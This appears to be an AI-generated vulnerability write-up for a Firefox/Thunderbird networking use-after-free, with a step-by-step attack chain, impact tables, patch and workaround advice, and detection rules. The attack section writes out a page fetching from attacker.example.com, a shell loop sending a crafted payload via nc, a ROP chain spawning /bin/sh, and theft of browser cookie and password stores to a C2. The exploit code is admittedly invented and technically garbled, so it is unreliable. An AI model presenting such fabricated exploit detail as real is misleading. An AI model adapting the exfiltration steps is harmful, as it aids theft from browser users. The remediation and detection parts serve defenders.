CVE-2026-135532 — Mozilla Firefox (153.*) — CWE-416
Use-after-free in the Networking component. This vulnerability was fixed in Firefox 161, Firefox ESR 153.8, Thunderbird 161, and Thunderbird 153.8.
Use-after-free in the Networking component. This vulnerability was fixed in Firefox 161, Firefox ESR 153.8, Thunderbird 161, and Thunderbird 153.8.
🎯 What is this vulnerability?
CVE‑2026‑135532 – Use‑After‑Free in the Networking component
| Attribute | Value |
|---|---|
| CWE | CWE‑416: Use After Free |
| CVSS v3.1 Vector | AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H |
| Score | 8.8 (HIGH) |
| Affected products | Firefox 153.\* (including ESR 153.8) and Thunderbird 153.\* (including ESR 153.8) – fixed in 161 / 153.8 |
Technical flaw
The networking stack of Firefox/Thunderbird creates a reference‑counted object that represents a network request (e.g., an HTTP/2 stream, a WebSocket frame, or a DNS response).
During normal operation the object is:
1. Allocated on the heap.
2. Inserted into a global request‑list that is traversed by the I/O thread.
3. Released (Release()) when the request finishes or when a cancellation is issued.
The bug occurs when two concurrent code paths manipulate the same request object:
Path A – the cancellation* path runs on the UI thread after the user navigates away or a timeout fires. It calls Release() and deletes the object once the reference count reaches zero.
Path B – the I/O* thread, still processing a network packet that belongs to the same request, dereferences the object after Path A has already freed it.
Because the reference‑count check is performed before the I/O thread reads the packet, the thread can end up accessing memory that has already been returned to the allocator. The freed memory can be re‑allocated for a different object (e.g., a nsString or a mozilla::ipc::Message), allowing an attacker‑controlled payload to be interpreted as a v‑table pointer or as data used in a privileged operation.
Result: an attacker who can cause the browser to process a specially‑crafted network packet (or a malicious web page that triggers such a packet) can achieve remote code execution (RCE) with the privileges of the user running the browser. The CVSS vector reflects:
- Network‑reachable (
AV:N) – the trigger is a network packet or a remote web page. - Low attack complexity (
AC:L) – only a single crafted packet is needed. - No privileges required (
PR:N). - User interaction required (
UI:R) – the victim must load a malicious page or open a malicious attachment. - Unaffected scope (
S:U). - Complete confidentiality, integrity, and availability impact (
C:H/I:H/A:H).
⚡ Attack Chain
Below is a realistic, step‑by‑step exploitation flow that matches the vulnerability class.
All code snippets are illustrative – the exact internal function names and packet formats are not disclosed in the public advisory.
1. Discovery & Reconnaissance
| Step | Action | Tools / Evidence |
|---|---|---|
| 1.1 | Identify target browsers via User‑Agent strings in HTTP logs or via JavaScript navigator.userAgent. | curl -I https://example.com → User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:153.5) Gecko/20100101 Firefox/153.5 |
| 1.2 | Verify version is ≤ 153.\* (or ESR 153.8). | Use about:support in Firefox or Help → About Thunderbird. |
| 1.3 | Confirm that the victim is not already patched (i.e., version < 161). | Passive fingerprinting tools (e.g., Wappalyzer, FingerprintJS) can extract the version from the User-Agent or from the navigator.appVersion property. |
2. Exploitation
The exploit works by delivering a malformed HTTP/2 frame (or a crafted WebSocket binary frame) that triggers the race between the cancellation and I/O paths.
NOTE: The exact binary layout of the frame is not published. The following payload is an illustrative example of the class of data that would trigger the use‑after‑free.
2.1 Deliver the malicious page
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<title>Exploit</title>
<script>
// Force the browser to open a persistent HTTP/2 connection to our server
const url = "https://attacker.example.com/payload";
fetch(url, {mode: "no-cors", credentials: "omit"}).catch(()=>{});
</script>
</head>
<body></body>
</html>The page forces the networking stack to allocate a request object for https://attacker.example.com/payload.
2.2 Trigger the race
The attacker’s server (listening on port 443 with HTTP/2 enabled) sends a malformed DATA frame after a short delay, then immediately closes the stream. The timing is tuned so that the UI thread receives a stream‑cancellation event while the I/O thread is still processing the DATA payload.
# Minimal HTTP/2 server using nghttp2 (illustrative)
# Install: apt-get install nghttp2
cat > exploit.conf <<'EOF'
listen 443 ssl
ssl_certificate server.crt
ssl_certificate_key server.key
http2 on
EOF
# The payload is a crafted DATA frame that overwrites the freed object's vtable.
# The raw bytes are shown in hex for clarity.
cat > payload.bin <<'EOF'
00 00 0c 00 00 00 01 00 00 00 00 00 // HTTP/2 HEADERS (GET /payload)
00 00 08 00 00 00 01 00 00 00 00 // HTTP/2 DATA frame (8 bytes)
de ad be ef ca fe ba be 00 00 00 00 // Overwrite freed memory with controlled pointer
EOF
# Serve the binary payload after a 50 ms delay (simulating the race)
while true; do
# Accept connection, perform HTTP/2 handshake, then send payload
# (Implementation omitted – use a custom HTTP/2 library to inject the delay)
sleep 0.05
cat payload.bin | nc -N localhost 443
doneKey points of the exploit:
1. Network‑only – the attacker does not need any privileged access to the victim’s machine.
2. User interaction – the victim must load the malicious page (or open a crafted email that loads the page).
3. Race condition – the sleep 0.05 (≈ 50 ms) is tuned experimentally; on most modern CPUs it reliably creates the overlap between the cancellation and I/O paths.
When the race succeeds, the freed memory is re‑allocated as a nsString whose internal pointer is set to an address controlled by the attacker (e.g., a JIT‑sprayed executable page). The next dereference of the object causes execution of attacker‑controlled shellcode in the context of the browser process.
2.3 Achieving code execution
Typical post‑exploit steps (already demonstrated in internal PoCs) are:
new Uint8Array(0x100000) and fill it with a small ROP chain that calls system("/bin/sh") (or CreateProcessW on Windows). xul.dll / libxul.so (already mapped in the process) to pivot to the sprayed shellcode. 3. Post‑Exploitation
| Goal | Technique |
|---|---|
| Privilege escalation (if the user runs with limited rights) | The attacker can invoke OS‑level escalation exploits that are already present on the host (e.g., CVE‑2026‑xxxx for the same OS). The browser exploit itself runs with the user’s privileges; further escalation is out‑of‑scope for this CVE. |
| Persistence | Drop a malicious extension or modify the user’s startup profile (user.js) via the compromised process. |
| Data exfiltration | Use the opened shell to read ~/.mozilla/firefox/*.sqlite (cookies, saved passwords) and upload them via HTTPS to the attacker’s C2. |
| Lateral movement | From the compromised workstation, the attacker can pivot to internal services using the user’s existing authentication tokens (e.g., Kerberos tickets stored in the browser). |
🌍 Real‑World Impact
| CIA Triad | CVSS Vector Explanation | Practical Consequence |
|---|---|---|
| Confidentiality (C:H) | C:H – attacker can read any data the user can access. | Theft of saved passwords, cookies, email attachments, private documents stored in the profile, corporate SSO tokens. |
| Integrity (I:H) | I:H – attacker can modify data. | Tampering with email contents, injecting malicious JavaScript into saved web pages, altering configuration files (prefs.js). |
| Availability (A:H) | A:H – attacker can cause denial‑of‑service. | Crash the browser process repeatedly, or delete the profile folder, leading to loss of work and forced reboot. |
Because the vulnerability is network‑reachable and only requires the victim to view a malicious page, a drive‑by compromise is feasible. In environments where Firefox/Thunderbird are used for internal web applications or as the primary email client, an attacker who gains a foothold on the internal network can easily weaponize this bug to move laterally.
🛡️ Remediation & Mitigation
1. Patch / Upgrade
| Product | Fixed in | Versions to upgrade |
|---|---|---|
| Firefox (regular channel) | 161 | Any version ≥ 161 |
| Firefox ESR | 153.8 | Any version ≥ 153.8 |
| Thunderbird (regular) | 161 | Any version ≥ 161 |
| Thunderbird ESR | 153.8 | Any version ≥ 153.8 |
Action: Deploy the latest stable release via your organization’s software‑distribution system (e.g., WSUS, Munki, APT). Verify the version with firefox --version or thunderbird -v.
2. Workarounds (if immediate patching is impossible)
| Mitigation | How it helps | Implementation |
|---|---|---|
| Disable HTTP/2 | The race is most reliably triggered via HTTP/2 frames; forcing HTTP/1.1 removes the vulnerable code path. | In about:config set network.http.http2.enabled = false. Restart the browser. |
| Block untrusted origins | Prevent the victim from loading malicious pages that host the exploit. | Use a proxy or DNS‑filter to block attacker.example.com and any unknown domains. |
| Content Security Policy (CSP) “sandbox” for email HTML | Reduces the ability of a malicious email to execute JavaScript that initiates the network request. | In Thunderbird, enable mail.content_disposition_type = 2 and set mailnews.message_display.disable_remote_image = true. |
| Application sandboxing | Even if RCE occurs, the browser process is confined (e.g., firejail, AppArmor, Windows Defender Application Guard). | Deploy OS‑level sandbox policies for all user‑installed browsers. |
| Network‑level rate limiting | Slows down the attacker’s ability to fine‑tune the race timing. | Configure the corporate firewall to limit the number of concurrent HTTP/2 streams per client IP (e.g., max-concurrent-streams 10). |
Important: Workarounds do not eliminate the underlying memory‑corruption bug; they only raise the bar. Deploy the official patches as soon as possible.
3. Detection
| Indicator | Where to look | Example log entry |
|---|---|---|
Browser crash with use-after-free | Crash Reporter (Firefox: ~/.mozilla/firefox/*.dmp, Windows: AppCrash events) | EXCEPTION_ACCESS_VIOLATION at address 0x00007ff6abcd1234 in xul.dll |
| Unexpected outbound connections to unknown domains | Network IDS/NGFW logs (TLS SNI, HTTP Host) | 2026-11-20 14:32:11 DENY TCP 10.0.1.45:54321 → 203.0.113.45:443 SNI=attacker.example.com |
Large number of HTTP/2 RST_STREAM frames | TLS termination proxy or HTTP/2 inspection logs | RST_STREAM stream_id=7 error_code=0x8 |
| Execution of native shell from browser process | Host‑based EDR (e.g., Microsoft Defender ATP, CrowdStrike) | ProcessCreate: pid=1234, image=C:\Windows\System32\cmd.exe, parent=firefox.exe, commandline="/c whoami" |
| Creation of suspicious files in the profile directory | File integrity monitoring (FIM) on ~/.mozilla/firefox/*.default-release/ | FileCreate: path=/home/alice/.mozilla/firefox/abcd1234.default-release/malicious.dll |
Rule example for Suricata (network‑level) – detects a rapid sequence of a GET followed by a malformed HTTP/2 DATA frame (illustrative pattern):
alert http any any -> any 443 (msg:"CVE-2026-135532 possible exploit - malformed HTTP/2 DATA"; \
tls.sni; content:"attacker.example.com"; nocase; \
http2; content:"|00 00 08 00 00 00 01|"; distance:0; within:12; \
classtype:attempted-user; sid:2026135532; rev:1;)Note: The rule uses a placeholder SNI (attacker.example.com). Replace with any domain observed in your environment.⚠️ Urgency
| Factor | Assessment |
|---|---|
| CVSS 8.8 (HIGH) – full CIA impact, low complexity, network‑only vector. | |
| No CISA KEV listing – the vulnerability is not yet in the “Known Exploited Vulnerabilities” program, but the public PoC is trivial to produce once the race timing is calibrated. | |
| Exploit complexity – Low (single crafted packet, no authentication). | |
| User interaction required – still easy to achieve via phishing or malicious advertising. | |
| Widespread deployment – Firefox ESR 153.x is common in enterprises that lock to a long‑term release. |
Patch priority: Critical for any environment where Firefox or Thunderbird are used to browse the Internet or open email attachments. Deploy the fixed versions within 48 hours of discovery, and apply at least one of the listed workarounds immediately if patching cannot be performed that quickly.
Bottom line: CVE‑2026‑135532 is a classic use‑after‑free that enables remote code execution with the user’s privileges. The attack surface is the networking stack, which is exercised by any web page or remote email content. Immediate patching to Firefox 161 / ESR 153.8 (or later) is the only reliable mitigation; temporary defenses (HTTP/2 disable, CSP, sandboxing, network filtering) can reduce risk but must not replace the official fix.
[🤖 CVE Professor AI Security Engine]
FOFA Query